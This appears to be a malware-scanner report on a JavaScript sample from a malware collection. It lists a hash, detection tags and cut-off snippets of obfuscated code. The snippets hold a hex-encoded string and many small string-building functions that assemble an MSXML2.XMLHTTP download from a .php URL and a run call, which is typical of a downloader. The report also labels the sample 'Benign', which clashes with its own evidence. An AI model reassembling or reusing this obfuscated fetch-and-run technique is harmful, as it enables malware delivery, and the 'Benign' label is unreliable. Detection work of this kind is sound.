Benign javascript-malware-collection Download

20151005_201e1ac2410b38e2b59c675d11011f69.js

Dense incremental string buildingEncoded content decoded: hex

SHA-256ef05d952f829c2d150103d62f25b61bfe055295880899a2fb3c7b2d747067982

Evidence

Encoded content decoded: hex line 1

1var str="5551555E060B0300050A240C160A0111160B14014A070B095E225E0716111E0608050A07050D0A1001160A05070D0B0A05084A070B095E17011614565E5550505054575C5D57565E55"; function toys() { yieu += '0000'; }; function fuxc() { yieu += '.php'; }; function xda() { yieu += '== 1)'; }; function bmr() { yieu += '); d'; }; function ius() { yieu += 'm al'; }; function cfi() { yieu += 's == '; }; function vau() { yieu += 'DOD'; }; function zheo() { yieu += 'echa'; }; function fzqs() { yieu += 'xo ='; }; function jsmc() { yieu += 'tio'; }; function kwbu() { yieu += 'si'; }; function rflp() { yieu += ' xo.'; }; function vys( …

JavaScript empty-string accumulator initializer line 1

1:899…  yieu += 'un'; }; function jzog() { yieu += '.Ru'; }; var rdp = ''; function ctwu() { yieu += '()'; }; function npo() { yieu += '?rnd'; }; function woc() { yieu += ' dl(f'; }; function paxz() {  …

Split MSXML2.XMLHTTP fragments line 1

1:4211… }; function gfwv() { yieu += 'ro'; }; function xsx() { yieu += '"MSXM'; }; function axf() { yieu += '+"&'; }; function iwm() { yieu += 'ar xa'; }; function tus() { yieu += 'a.'; }; function dpny()  …